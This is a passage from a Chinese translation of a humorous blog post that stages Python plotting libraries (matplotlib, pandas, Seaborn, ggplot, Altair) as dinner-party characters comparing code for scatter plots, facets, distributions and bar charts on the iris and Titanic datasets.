对！对！就是这样！我的写法就是把 `geom_line` 换成 `geom_point`！\n\n``` python\n# GGPLOT\ng = ggplot(df, aes(x='petalLength',\n                   y='petalWidth',\n                   color='species')) + \\\n        geom_point(size=40.0) + \\\n        ggtitle('Petal Width v. Length -- by Species')\ng\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/w9ikwkwfhhl2qaaaabjru5erkjggg.png)\n\n**ALT (一脸茫然)**:  是的，只要把 `mark_line` 换成 `mark_point`。\n\n``` python\n# ALTAIR\nc = Chart(df).mark_point(filled=True).encode(\n    x='petalLength',\n    y='petalWidth',\n    color='species'\n)\nc\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/wo7xb6fowhjaaaaabjru5erkjggg.png)\n\n#### 第二场的分析\n\n* * *\n\n*   到这儿，用数据构建 API 的潜在难题变得清晰了。尽管 pandas 的轴向旋转处理时序数据时非常方便，处理这个例子却力不从心了。\n\n*   公平地说，`group by` 方法是可以推导出来的，而 for 循环就更容易推出来了；但是这样一来就要有更多自定义的逻辑，也就意味着更多的工作：Seaborn 已经好心帮你做好了，不然你还得自己造轮子。\n\n*   反过来说，Seaborn，ggplot 和 Altair 都明白散点图在很多方面就是没有假设的折线图（尽管这些假设可能是无害的）。因此，第一场中的代码大都可以重用，但是得用新的几何对象（ggplot 和 Altair 分别用的是 `geom_point` 和 `mark_point`）或者新的方法（比如 Seaborn 的 `plt.scatter`）。在这个节点上，没有哪个库比其他库更方便，尽管我爱 Altair 优雅的简洁。\n\n#### 第三场：如何画分面的散点图？\n\n* * *\n\n**MPL**:  那么，嗯，一旦你掌握了 for 循环 —— 显然我就掌握了 —— 只需要简单调整一下之前的代码就行了。我用 `subplot` 方法画了三个轴，而不是一个。接下来就跟以前一样遍历一遍，用类似取数据子集的方法来取相关的 Axes 对象的子集。\n\n（**重拾自信）我敢打赌你们各位没有更简单的方法！（举起双臂，差点打到了 pandas）**\n\n``` python\n# MATPLOTLIB\nfig, ax = plt.subplots(1, 3, figsize=(15, 5))\n\nfor i, s in enumerate(df.species.unique()):\n    tmp = df[df.species == s]\n\n    ax[i].scatter(tmp.petalLength, tmp.petalWidth, c=cp[i])\n\n    ax[i].set(xlabel='Petal Length',\n              ylabel='Petal Width',\n              title=s)\n\nfig.tight_layout()\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/8b7niet7ypmdyaaaaasuvork5cyii.png)\n\n**SB 和笑起来的 ALT 交换了目光；GG 仿佛听到笑话了笑了起来**\n\n**MPL**:  怎么啦？！\n\n**Altair**:  老兄，看看你的 x 轴和 y 轴。所有图像的坐标轴范围都不一样。\n\n**MPL (脸红了)**:  呃，是，当然啊。我就是想看看你们有没有注意听我说话。你当然可以在 `subplot` 函数中指定坐标轴范围，保证所有的子图坐标轴范围是统一的。\n\n``` python\n# MATPLOTLIB\nfig, ax = plt.subplots(1, 3, figsize=(15, 5),\n                       sharex=True, sharey=True)\n\nfor i, s in enumerate(df.species.unique()):\n    tmp = df[df.species == s]\n\n    ax[i].scatter(tmp.petalLength,\n                  tmp.petalWidth,\n                  c=cp[i])\n\n    ax[i].set(xlabel='Petal Length',\n              ylabel='Petal Width',\n              title=s)\n\nfig.tight_layout()\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/h8ufmi6a3gmrwaaaabjru5erkjggg.png?w=768&h=244)\n\n**P（叹气）**:  我也是这么做的。跳过我吧。\n\n**SB**:  改写 FacetGrid 然后用在这个例子上很简单。就像使用 `hue` 变量一样，我们可以简单加一个 `col` 变量（比如 colum）。这会告诉 FacetGrid 不仅给每个种类一个唯一的颜色，还把每个种类都画在唯一的子图上，按列排列。（只要将 `col` 变量换成 `row` 就可以按行排列。）\n\n``` python\n# SEABORN\ng = sns.FacetGrid(df, col='species', hue='species', size=5)\ng.map(plt.scatter, 'petalLength', 'petalWidth')\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/c0vgaaaabjru5erkjggg.png?w=768&h=243)\n\n**GG:** 哦，这和我的做法不同（**再一次拿起《ggplot2》开始读**）。看，分面和图形映射本质上是两个不同的步骤，我们不应该一时疏忽把它们混为一谈。因此，我们接着用之前的代码这次加上 `facet_grid` 层，也就是显式地用类别进行分面。（**开心地合上书**）至少我大哥是这么说的！你们听到他了吗？在书里。他真酷啊<sup>4</sup>。\n\n``` python\n# GGPLOT\ng = ggplot(df, aes(x='petalLength',\n                   y='petalWidth',\n                   color='species')) + \\\n        facet_grid(y='species') + \\\n        geom_point(size=40.0)\ng\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/h4vbxbh6tapaaaaaelftksuqmcc.png)\n\n**ALT****:** 我这里采用更具 Seaborn 风格的方法。具体地说，我给编码函数加了一个 `column` 参数。也就是说我也做了一些新工作：第一，虽然 `column` 参数可以接受一个简单的字符串变量，实际上我传给它的是 Column 对象，如此我可以自定义标题了。第二，我用了自定义的 `configure_cell` 方法，如果不用的话子图会变得特别巨大。\n\n``` python\n# ALTAIR\nc = Chart(df).mark_point().encode(\n    x='petalLength',\n    y='petalWidth',\n    color='species',\n    column=Column('species',\n                  title='Petal Width v. Length by Species')\n)\nc.configure_cell(height=300, width=300)\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/yejgqmzehsyh83ossacczmgrjtvkpm3fpiesqskqajpe2c9szs7b0jkea8aqx38vjsegmyjuchwmzo2hesiaesiaesiaesiaesiaesiaesgh8ekfsmv5jsixigarigarigarigarigarigariws4bchdnqsemkqaikqaikqaikqaikqaikqaikm.png)\n\n#### 第三场的分析\n\n* * *\n\n*   matplotlib 说得很清楚：这个例子中，他的代码根据分类对数据进行分面的思路和上面的其他方案是一样的；假如你的脑袋可以搞清楚那些 for 循环的话，你可以再试试下面这段代码。但是我可没有让他再搞出更复杂的东西出来，比如 2 x 3 的网格。不然他就得像下面这样干：\n\n``` python\n# MATPLOTLIB\nfig, ax = plt.subplots(2, 3, figsize=(15, 10), sharex=True, sharey=True)\n\n# this is preposterous -- don't do this\nfor i, s in enumerate(df.species.unique()):\n    for j, r in enumerate(df.random_factor.sort_values().unique()):\n        tmp = df[(df.species == s) & (df.random_factor == r)]\n\n        ax[j][i].scatter(tmp.petalLength,\n                         tmp.petalWidth,\n                         c=cp[i+j])\n\n        ax[j][i].set(xlabel='Petal Length',\n                     ylabel='Petal Width',\n                     title=s + '--' + r)\n\nfig.tight_layout()\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/tl2cujb3xeuaaaaasuvork5cyii.png)\n\n*   为了用正规的可视化表达式**: 呸**。如果用 Altair 的话一切都变得非常简单。\n\n``` python\n# ALTAIR\nc = Chart(df).mark_point().encode(\n    x='petalLength',\n    y='petalWidth',\n    color='species',\n    column=Column('species',\n                  title='Petal Width v. Length by Species'),\n    row='random_factor'\n)\nc.configure_cell(height=200, width=200)\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/wfagffg5zflcgaaaabjru5erkjggg.png)\n\n*   只比我们刚才用过的 `encode` 函数多一个变量！\n\n*   幸运的是，把分面构建到可视化库框架中的好处是显而易见的。\n\n### 第二幕：分布和条形图\n\n* * *\n\n#### 第四场：怎么可视化分布？\n\n* * *\n\n**MPL （信心明显不足了）**:  好吧，如果我们要画箱线图——我们真的要箱线图吗？——我知道怎么画。不过非常愚蠢；你肯定不会喜欢。不过我给 `boxplot` 方法传入一个数组组成的数组，每个数组就都会得到一个箱线图。你可能需要手动标注 X 轴的刻度。\n\n``` python\n# MATPLOTLIB\nfig, ax = plt.subplots(1, 1, figsize=(10, 10))\n\nax.boxplot([df[df.species == s]['petalWidth'].values\n                for s in df.species.unique()])\n\nax.set(xticklabels=df.species.unique(),\n       xlabel='Species',\n       ylabel='Petal Width',\n       title='Distribution of Petal Width by Species')\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/x40bnxavfqvlzexbngbg2cdjjxmzyyncruufehmtcebmgbs1tuffrqxgxsz423mxv2bab39mftvfsehyuf9u7dcyuljcydoxcrerfquverioslercxbwqkiqgrkwmc3nzhiwfys1l1txvity2fidpnosqqqqwb9orr7wcmuwgfxcxxmtewmvlcw.png)\n\n**MPL:** 如果要画柱状图 —— 我们真的要画柱状图吗？ —— 我也有个方法可以用，你可以用之前提到的 for 循环或者 `group by`。\n\n``` python\n# MATPLOTLIB\nfig, ax = plt.subplots(1, 1, figsize=(10, 10))\n\nfor i, s in enumerate(df.species.unique()):\n    tmp = df[df.species == s]\n    ax.hist(tmp.petalWidth, label=s, alpha=.8)\n\nax.set(xlabel='Petal Width',\n       ylabel='Frequency',\n       title='Distribution of Petal Width by Species')\n\nax.legend(loc=1)\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/wcef9iodihxkaaaaabjru5erkjggg.png)\n\n**P (看上去不同寻常的骄傲）**:  哈！哈哈哈哈！该我大显身手了！你们都觉得我一无是处，只是 `matplotlib` 的替罪羊。虽然我目前都只是套用他的 `plot` 方法，但我也拥有一些特殊的函数可以处理箱线图**和**柱状图。用他们来可视化分布简直就是小菜一碟！你只需要提供两个列名：第一，用来分组的列名；第二，待分布统计的列名。分别把它们传给 `by` 和 `column` 参数，图马上就画好了！\n\n``` python\n# PANDAS\nfig, ax = plt.subplots(1, 1, figsize=(10, 10))\n\ndf.boxplot(column='petalWidth', by='species', ax=ax)\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/jex9cigeeei0u9jre0iiiyropmtquwghhbcimzirnsgeeekizko6akiiiyqqzzr01iqqqgghminpqakhhbbcnfpsurncccgeakba0zribp2q8laaaaaelftksuqmcc.png)\n\n``` python\n# PANDAS\nfig, ax = plt.subplots(1, 1, figsize=(10, 10))\n\ndf.hist(column='petalWidth', by='species', grid=None, ax=ax)\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/qeaagabshsaaiafkg0aaaawolqbaabygnigaabggf8hne3tvwwy5qaaaaasuvork5cyii.png)\n\n**GG和ALT举手击掌然后祝贺P；高呼「棒极了！」，「就该这样！」，「就这么干！」**\n\n**SB (假装很热情)**:  喔喔喔。很赞。同时呢，分布对我非常重要，所以我为它准备了一些特殊方法。比如，我的 `boxplot` 方法只需要 x 变量、y 变量和数据就可以得到这个：\n\n``` python\n# SEABORN\nfig, ax = plt.subplots(1, 1, figsize=(10, 10))\n\ng = sns.boxplot('species', 'petalWidth', data=df, ax=ax)\ng.set(title='Distribution of Petal Width by Species')\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/lly8jodgymzmzagxsxpdhwhj4wopvnpgs8cy68i4ygomdqnpc7atj0291ayyyd8zioy4wxxlghxwuby4wxxlghx0uijdhgggmdhb9hy4wxxhjr4lhgy4wxxhjr4lhgy4wxxhjr4lhgy4wxxhjr4lhgy4wxxhjr4lhgy4wxxhjr4p4pzzfvgcmez.png)\n\n**SB:** 这个图不错吧，我是说有人这么说过…… 不管了。我还有个特殊的分布方法叫 `distplot` 远不止条形图那么简单（傲慢的看了眼 pandas）。你可以用来画条形图，KDEs 和轴须图（rugplots） —— 甚至画在一起。比如把 `displot` 和 FacedGrid 结合起来，我就可以为每一种鸢尾花都画出直方轴须图：\n\n``` python\n# SEABORN\ng = sns.FacetGrid(df, hue='species', size=7.5)\n\ng.map(sns.distplot, 'petalWidth', bins=10,\n      kde=False, rug=True).add_legend()\n\ng.set(xlabel='Petal Width',\n      ylabel='Frequency',\n      title='Distribution of Petal Width by Species')\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/hkcyxmylufaqaaaabjru5erkjggg.png)\n\n**SB**:  不过…… 管他呢。\n\n**GG:** 这些只不过是新的几何对象！`GEOM_BOXPLOT` 来画箱线图，`GEOM_HISTOGRAM` 来画直方图！换用它俩就行了！（**绕着餐桌跑了起来**）\n\n``` python\n# GGPLOT\ng = ggplot(df, aes(x='species',\n                   y='petalWidth',\n                   fill='species')) + \\\n        geom_boxplot() + \\\n        ggtitle('Distribution of Petal Width by Species')\ng\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/xbbxopqzgzrnzs2bn0vdhwzvixagtxbputqdtu3bt0vllyyxdpdofnz2thiqelzsuao7cuxk5xdkbzf4vdqaayycka0cafrywasgcbdqfxugsweagatdxqaaaacd4uw6aaaaydccsqcaaaamhpaoaaaagawhhqaaadayqjoaaabgmir0aaaawgd.png)\n\n``` python\n# GGPLOT\ng = ggplot(df, aes(x='petalWidth',\n                   fill='species')) + \\\n        geom_histogram() + \\\n        ylab('Frequency') + \\\n        ggtitle('Distribution of Petal Width by Species')\ng\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/j1b6tsghmsaaaaabjru5erkjggg.png)\n\n**ALT （看上去坚定又自信）**:  我要忏悔……\n\n**四周安静了下来 —— GG停了下来，把盘子撞到了地上。**\n\n**ALT：（沉重地喘气）** 我……我……我不会画箱线图。从来没学过怎么画，不过我相信我的源语言 JavaScript 的语法不支持箱线图肯定是有原因的。不过我会画直方图……\n\n``` python\n# ALTAIR\nc = Chart(df).mark_bar(opacity=.75).encode(\n    x=X('petalWidth', bin=Bin(maxbins=30)),\n    y='count(*)',\n    color=Color('species', scale=Scale(range=cp.as_hex()))\n)\nc\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/cwkeozqaaaabjru5erkjggg.png)\n\n**ALT**:  乍一看代码会觉得有点怪，但是不要担心。这里实际是在说：「嘿，直方图事实上就是条形图」。X 轴对应着 `bin`，我们可以用 `Bin` 类来定义；同时 y 轴对应到数据集里落到对应 Bin 的数据的数量。用 SQL 语言来说 y 就是 `count(*)`。\n\n#### 第四场的分析\n\n* * *\n\n*   在工作中，我的确发现 pandas 的便利函数很方便，但是我得承认，脑子里总要惦记着 pandas 给箱线图和直方图提供了 `by` 参数，却没有给折线图提供该参数。\n\n*   我把第一场和第二场分开是有原因的，其中最重要的原因是：从第二场开始 matplotlib 变得比较吓人。比如说要画箱线图还得记着用一个完全独立的界面，这根本不适合我。\n\n*   说起第一场和第二场，有一个有趣的小细节：其实我一开始是因为 Seaborn 有丰富的「专利级」可视化函数（比如，distplot，小提琴图，回归图等等）而从 matplotlib/pandas 转移阵营的。但我后来喜欢上了 FacetGrid，我必须说这些第二场中的函数是 Seaborn 的杀手级应用。只要我还在画图我就离不开它们。\n\n*  （此外，我需要说明：Seaborn 提供了许多被小型库所忽略的优秀可视化函数；如果你碰巧需要一二，那么 Seaborn 是你唯一的选择。）\n\n*   这些例子真的可以让你领会到 ggplot 图形对象系统的力量。用基本相同的代码（更重要的是连思路都基本相同），就可以画出截然不同的图来。还不用调用不同的函数，只是改变图形映射呈现给视图的方式就行了，比如换一下几何对象。\n\n*   类似的，哪怕在第二场，Altair 的 API 也有非同寻常的一致性。哪怕对于那些看上去非常另类的操作，Altair 的 API 也非常简单、优雅，令人印象深刻。\n\n**数据说明**\n\n（在最后一幕，我们会处理「泰坦尼克」，另一个著名的整洁数据集（代码中仍然用 `df` 来表示）。下面是预览……）\n\n|survived|pclass|sex|age|fare|class|\n|---|---|---|---|---|---|\n|0|0|3|male|22.0|7.2500|Third|\n|1|1|1|female|38.0|71.2833|First|\n|2|1|3|female|26.0|7.9250|Third|\n|3|1|1|female|35.0|53.1000|First|\n|4|0|3|male|35.0|8.0500|Third|\n\n\n这个例子中，我们感兴趣的是看看每个客舱等级的平均费用是否和逃生率相关。显然，在 pandas 中我们可以这样写：\n\n``` python\ndfg = df.groupby(['survived', 'pclass']).agg({'fare': 'mean'})\ndfg\n```\n\n\n\n\n\n<table class=\"dataframe\" border=\"1\">\n<thead>\n<tr>\n<th></th>\n<th></th>\n<th>fare</th>\n</tr>\n<tr>\n<th>survived</th>\n<th>pclass</th>\n<th></th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<th rowspan=\"3\" valign=\"top\">0</th>\n<th>1</th>\n<td>64.684008</td>\n</tr>\n<tr>\n<th>2</th>\n<td>19.412328</td>\n</tr>\n<tr>\n<th>3</th>\n<td>13.669364</td>\n</tr>\n<tr>\n<th rowspan=\"3\" valign=\"top\">1</th>\n<th>1</th>\n<td>95.608029</td>\n</tr>\n<tr>\n<th>2</th>\n<td>22.055700</td>\n</tr>\n<tr>\n<th>3</th>\n<td>13.694887</td>\n</tr>\n</tbody>\n</table>\n\n\n…… 不过这有什么意思呢？我写的可是数据可视化文章，所以用条形图再试一次！\n\n#### 第五场：如何画条形图？\n\n* * *\n\n**MPL (表情严肃)**:  一句话也没说。\n\n``` python\n# MATPLOTLIB\n\ndied = dfg.loc[0, :]\nsurvived = dfg.loc[1, :]\n\n# more or less copied from matplotlib's own\n# api example\nfig, ax = plt.subplots(1, 1, figsize=(12.5, 7))\n\nN = 3\n\nind = np.arange(N)  # the x locations for the groups\nwidth = 0.35        # the width of the bars\n\nrects1 = ax.bar(ind, died.fare, width, color='r')\nrects2 = ax.bar(ind + width, survived.fare, width, color='y')\n\n# add some text for labels, title and axes ticks\nax.set_ylabel('Fare')\nax.set_title('Fare by survival and class')\nax.set_xticks(ind + width)\nax.set_xticklabels(('First', 'Second', 'Third'))\n\nax.legend((rects1[0], rects2[0]), ('Died', 'Survived'))\n\ndef autolabel(rects):\n    # attach some text labels\n    for rect in rects:\n        height = rect.get_height()\n        ax.text(rect.get_x() + rect.get_width()/2., 1.05*height,\n                '%d' % int(height),\n                ha='center', va='bottom')\n\nax.set_ylim(0, 110)\n\nautolabel(rects1)\nautolabel(rects2)\n\nplt.show()\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/rdv0bwj0y4i8gaaaabjru5erkjggg-1.png)\n\n**其他人都开始摇头**\n\n**P**:  我得先对数据进行一些处理 —— 也就是 `group by` 和 `pivot` —— 处理完就可以用非常帅气的条形图方法了，比上面这些简单得多！哇，我现在自信多了，我把其他人都比下去了！<sup>5</sup>\n\n``` python\n# PANDAS\nfig, ax = plt.subplots(1, 1, figsize=(12.5, 7))\n# note: dfg refers to grouped by\n# version of df, presented above\ndfg.reset_index().\\\n    pivot(index='pclass',\n          columns='survived',\n          values='fare').plot.bar(ax=ax)\n\nax.set(xlabel='Class',\n       ylabel='Fare',\n       title='Fare by survival and class')\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/dcmfkmsjcncvogxjemsiszglyrjkilm4jcksziizocxjemsiszglyrjkilm4jcksziizocxjemsiszglyrjkilm4jckszii7achzhrnh06z1gaaaabjru5erkjggg.png)\n\n**SB:** 我恰好又认为这类工作非常重要。鉴于此，我使用了特殊的 `factorplot` 函数来帮助我：\n\n``` python\n# SEABORN\ng = sns.factorplot(x='class', y='fare', hue='survived',\n                   data=df, kind='bar',\n                   order=['First', 'Second', 'Third'],\n                   size=7.5, aspect=1.5)\ng.ax.set_title('Fare by survival and class')\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/fj0ntpzaxcwf0nbq4ulimbqn1rwmiilssclciyiiiiiiwidmximiiiiiifiawpwiiiiiiigfkfyjiiiiiihygmkviiiiiiiibshciyiiiiiiwidclyiiiiiiiauoximiiiiiifiawpwiiiiiiigfkfyjiiiiiihywp8dgbfcaznotkiaaaaasuvork.png)\n\n**SB**:  跟之前一样，先将未处理过的数据传给数据框，再搞明白自己要按照什么进行分组，这里就是 `class` 和 `survived`，它们对应 `x` 和 `hue` 变量。然后搞明白要对哪个数据列进行摘要统计，这里就是 `fare`，对应到 `y` 变量。默认的摘要统计方法是求平均数，不过 `factorplot` 提供了 `estimator` 参数，可以通过它指定想要的函数，比如求和，标准差，中位数等等。而选择的函数会决定每个柱的高度。\n\n当然，有很多方法可以可视化这个信息，条形图只有一种。同样我还提供了 `kind` 参数用来指定不同的可视化方法。\n\n最后，**还有人**比较在意统计确定性，所以我会默认给你加上误差线，这样可以看出不同等级舱位的平均费用和生存率是否有关系。\n\n（**压低声音说**）希望你们做得比我还好\n\n**ggplot2 停下兰博基尼，走了进来**\n\n**ggplo2**:  嘿，你们看到 ——\n\n**GG**:  嘿，大哥。\n\n**GG2**:  嘿，小家伙。我们得走了。\n\n**GG**:  等一下，我得马上把这个条形图画好，不过遇到麻烦了。你会怎么做呢？\n\n**GG2 (阅读手册)**_: 哦，就像这样：\n\n``` python\n# GGPLOT2\n\n# R 语言中你得这样写\n\nggplot(df, aes(x=factor(survived), y=fare)) +\n    stat_summary_bin(aes(fill=factor(survived)),\n                     fun.y=mean) +\n    facet_wrap(~class)\n\n# 天啊，ggplot2 可真棒\n```\n\n\n![](https://dansaber.files.wordpress.com/2016/09/4_r_example.png)\n\n**GG2**:  看懂了吗？你要像我之前说的一样定义好图形映射，不过得把 `y` 映射到平均费用上。这就得叫我的好兄弟 `stat_summary_bin` 帮忙了，我只要把 `mean` 传给 `fun.y` 参数就行了。\n\n**GG （惊讶地睁大眼睛）**:  哦，呃…… 我发现我还没有 `stat_summary_bin` 呢。我想想 —— pandas 你能帮帮我吗？\n\n**P**:  呃，当然可以。\n\n**GG**:  好诶！\n\n``` python\n# GGPLOT\ng = ggplot(df.groupby(['class', 'survived']).\\\n               agg({'fare': 'mean'}).\\\n               reset_index(), aes(x='class',\n                                  fill='factor(survived)',\n                                  weight='fare',\n                                  y='fare')) + \\\n        geom_bar() + \\\n        ylab('Avg. Fare') + \\\n        xlab('Class') + \\\n        ggtitle('Fare by survival and class')\ng\n```\n\n![](https://dansaber.files.wordpress.com/2016/09/fstddeuezjp0qt06nej55xztl544yv06dilq4ymycuxx5xxxnnltavrq4u96cmwfzadaaaqef5zqaaabsugaaagiisawaaufbiaaaackomaabaqykbaaaokdeaaaaf9f8dsdfayigfytuaaaaasuvork5cyii.png)\n\n**GG2**:  噢，不完全是图形式语法，不过我觉得只要 Hadley 还没有发现，这样也能用…… 特别是你不应该在可视化之前就对数据进行汇总。我也不是特别懂这个上下文中 `weight` 是什么意思……\n\n**GG**:  是这样，我的条形图形对象默认会使用简单计数，所以如果没有 `weight` 的话所有柱子的高度都是 `1`。\n\n**GG2**:  噢，我懂了…… 我们以后再讨论吧。\n\n**GG 和 GG2 道别并离开了晚宴**\n\n**ALT**:  噢，现在**这**可是我的安身立命之道。非常简单。\n\n\n\n\n\n\n\n\n\n``` python\n# ALTAIR\nc = Chart(df).mark_bar().encode(\n    x='survived:N',\n    y='mean(fare)',\n    color='survived:N',\n    column='class')\nc.configure_facet_cell(strokeWidth=0, height=250)\n```\n\n\n\n\n\n\n\n\n\n![](https://dansaber.files.wordpress.com/2016/09/zsqmd0drvwaaaabjru5erkjggg.png?w=501&h=648)\n\n**ALT:** 我希望下面的解释可以让所有的变量都非常直观：我想按幸存数来画平均船费，按舱位等级进行分面。写在代码里就是 `survived` 是 x 变量，`mean(fare)` 是 y 变量，而 `class` 是 column 变量。（我还指定了 color 变量这样画面可以热闹点。）\n\n但是，这里也有一些新东西值得注意。注意，我在 x 和 color 中的 `survivde` 字符串后面加了 `:N`。这是我给自己加的注释，意思就是「这是个名义上的变量。」我需要加这个注释是因为 `survived` 看上去像个定量变量，而定量变量有可能让绘的图变得有点丑。也不要太担心啦，这问题也不是每次都能碰到，只有个别情况下会有影响。比如，在上面的时间序列图中，如果我不知道 `dt` 是时间变量，我可能会假设它们只是名义变量，这样子就尴尬了（还好我在后面加上了 `:T`，这样就好了）。\n\n另外我还用了 `configure_facet_cell` 协议让三个子图看上去更加统一。\n\n#### 第五场的分析\n\n* * *\n\n*   这条不要想太多：我再也不用 matplotlib 画条形图了，明确地说，这不是我的个人观点！事实上 matplotlib 不会像其他的库那样对传入的数据进行推测。这有时候就意味着你得写严格的命令式代码。\n\n*  （当然，正是这种数据不可知论让 matplotlib 成了其他 Python 可视化库的基础。）\n\n*   相对而言，在需要汇总统计和误差线的时候，我总是会用 Seaborn。\n\n*  （这样比较可能有失公允，毕竟我选的例子仿佛是为 Seaborn 的一个函数量身定制的，不过我的工作中这种事遇到的太多了，而且，嘿，这篇文章可是我写的。）\n\n*   我不觉得 pandas 或 ggplot 的方式有什么特别的优势。\n\n*   不过，就 pandas 而言，哪怕是简单的条形图也必须得记得用 `group by` 和 `pivot`，这看上去有点傻。\n\n*   同样，我的确认为这是 yhat 开发的 ggplot 的一个重大缺陷，要找一个 `stat_summary` 的替代品从而让 ggplot 变得功能完善全面还有很长的路要走。\n\n*   同时，Altair 依然让我印象深刻！我被解决这个例子的代码的直观性震惊了。哪怕你从来没有见过 Altair，我也能想象有人是可以看懂的。正是它**这种**思考，代码和可视化的一一对应让它成了我最爱的库。\n\n### 最后的感想\n\n* * *\n\n你知道有时我觉得心怀感激非常重要：我们有非常多的可视化库可以选择，我痴迷于深入探索这一切！\n\n（是啊，这只是种逃避。）\n\n尽管我在 matplotlib 上遇到了点困难，它还是非常好玩的（每一部剧都要有搞笑的部分）。不仅仅是因为 matplotlib 是 pandas，Seaborn 和 ggplot 这些库的底层基础，而且是因为它给予你非常细粒度的控制权。虽然我没有说，但是我用 matplotlib 调整了所有非 Altair 所绘的图。但是，注意听，matplotlib 是纯声明式的，非常细节地指定可视化图像的方方面面简直是无趣的（看看条形图的例子吧）。\n\n的确，还有这种结果：「用统计可视化能力来评价 matplotlib 是不公平的，你这个刻薄的家伙。你在用它的一种使用案例来和其他库的主要使用案例进行比较。这些方法显然应该一起使用。你可以使用自己喜欢的方便的/陈述式表达层—— pandas，Seaborn，ggplot 或者将来的 Altair（下文会详述）—— 来做基础工作。然后用 matplotlib 完成那些非基础工作。如果你穷尽了其他库所能提供的一切也找不到想要的东西，你会很高兴可以看到能力无限的 matplotlib 就在你身边，你这个不知感恩的业余绘图的。」\n\n对于这些人我得说：是的！这很有道理，却脱离现实……，尽管只是**说**这些并不会撑起博文的大部分内容。\n\n再说，要是我就不会骂人。\n\n同时，轴向旋转（pivot）结合 pandas 处理时间序列图像非常好用。考虑到 pandas 的时间序列支持更加广泛，我还会接着用。此外，下一次如果要画 [RadViz](http://pandas.pydata.org/pandas-docs/stable/visualization.html#radviz) 图，我就知道该怎么做了。也就是说，尽管 pandas 的确在 matplotlib 的命令式范式的基础上提供了声明式语法（比如条形图），它仍然极具 matplotlib 风格。\n\n接着说：如果你想要一些更偏向统计的东西，用 Seaborn 吧（她的确在国外学到了很多很酷的东西）。学习她的 API —— factorplot, regplot, displot 等等等等 —— 然后爱上她。这时间花得值。至于 faceting，我觉得 FacetGrid 是个很有用的共犯（wtf！）；但是要不是我使用 Seaborn 已久，我可能更喜欢 ggplot 或 Altair。\n\n说到声明式的优雅，我一直深爱着 ggplot2 ，而且对 Python 的 ggplot 留下了深刻印象。我肯定会持续关注这个项目。（更自私地说，我希望它可以阻止那些使用 R 语言同事取笑我。）\n\n最后，如果你要做的事可以用 Altair 完成（抱歉了，箱线图使用者），用它吧！它提供的 API 异常简单又非常好用。如果还需要其他动力，想想这些：Altair 一个令人激动的特性是（除了即将到来的针对其底层 Vega-Lite 语法的改进之外），从技术的角度来说，它并不是可视化库。它输出符合 Vega-Lite 标准的 JSON 对象，可以用 IPython Vega 渲染得非常好。\n\n这有什么好激动的？好吧，在底层，所有的可视化看上去都是这个样子的：\n\n![](https://dansaber.files.wordpress.com/2016/09/screen-shot-2016-09-24-at-8-17-38-am.png)\n\n的确，看上去没什么好激动的，但是想想它的影响：如果其他的库对此感兴趣，他们可以直接开发新方法将这些 Vega-Lite JSON 对象转换成可视化结果。这就意味着可以用 Altair 搞定基本工作，然后深入底层用 matplotlib 获得更多控制。\n\n我已经对此期待万分了。\n\n说完这一切，再说几句告别的话：Python 可视化可比一个男人，女人或者尼斯湖水怪大多了。所以你得有选择地接受我刚才说的一切，不论是代码还是意见。记得：互联网上的一切都是谎言，该死的谎言和统计。\n\n希望你喜欢这个书呆子气十足的疯帽匠茶会，如果学到了什么东西你可以用到自己的工作中。\n\n照旧, 代码在 [GitHub](https://github.com/dsaber/py-viz-blog) 上。\n\n#### _**注释**_\n\n* * *\n\n首先，非常感谢订阅了 /u/counters 的 reddit 用户，你们在[这个评论](https://www.reddit.com/r/Python/comments/55k4ru/a_dramatic_tour_through_pythons_data/d8bawp4)留下了非常有价值的反馈和观点。我选取了一些放在了「最后的感谢」一节；不过我的表示远没有那么清楚，也就是说，看看那个评论吧；非常不错。\n\n其次，非常非常感谢 [Thomas Caswell](https://plus.google.com/+ThomasCaswell)，他写的关于 matplotlib 的特性的评论你绝对要读一读。这样你就能一睹远比我写的优雅得多的 matplotlib 代码了。\n\n1. 严格地说，这不是真的。我会尽量使用 Seaborn，只有在需要定制的时候才深入到 matplotlib。也就是说，我觉得这个前提是更强有力的陷阱，毕竟我们生活在后真相社会。\n\n2. 马上解释一下，你都对我愤怒了，所以允许我解释一二：我爱 bokeh 和 plotly。真的，我在提交分析之前最爱做的一件事就是把图像传给相关的 bokeh/plotly 函数，获得自由的交互性；但是我对它俩都不是特别熟，没法做更高级的操作。（说实话，这篇文章已经够长的了。）\n\n显然，如果你要的是交互可视化（而不是统计可视化），你可能就得找它俩了。\n\n3. **请**注意：这只是为了好玩。我**没有**用业余的拟人化手法评价任何库。我相信显示生活中的 matplotlib 是非常可爱的。\n\n4. 坦率地说，我不是**完全**确定单独进行分面操作是为了意识形态上的纯洁，或者只是单纯出于实用的考虑。虽然我的 ggplot 角色声称他是前者（他的理解来自匆匆读完的[这篇论文](http://vita.had.co.nz/papers/layered-grammar.pdf)），也有可能是因为（实际上） ggplot2 对分面的支持太丰富了，所以需要当作是独立的步骤。如果我描述的角色违反了任何图形语法规则，请务必告诉我，我会去找个新的。\n\n5. 绝对不是这个故事的道德准则。\n"
  },
  {
    "path": "TODO/a-fairer-vue-of-react-comparing-react-to-vue-for-dynamic-tabular-data-part-2.md",
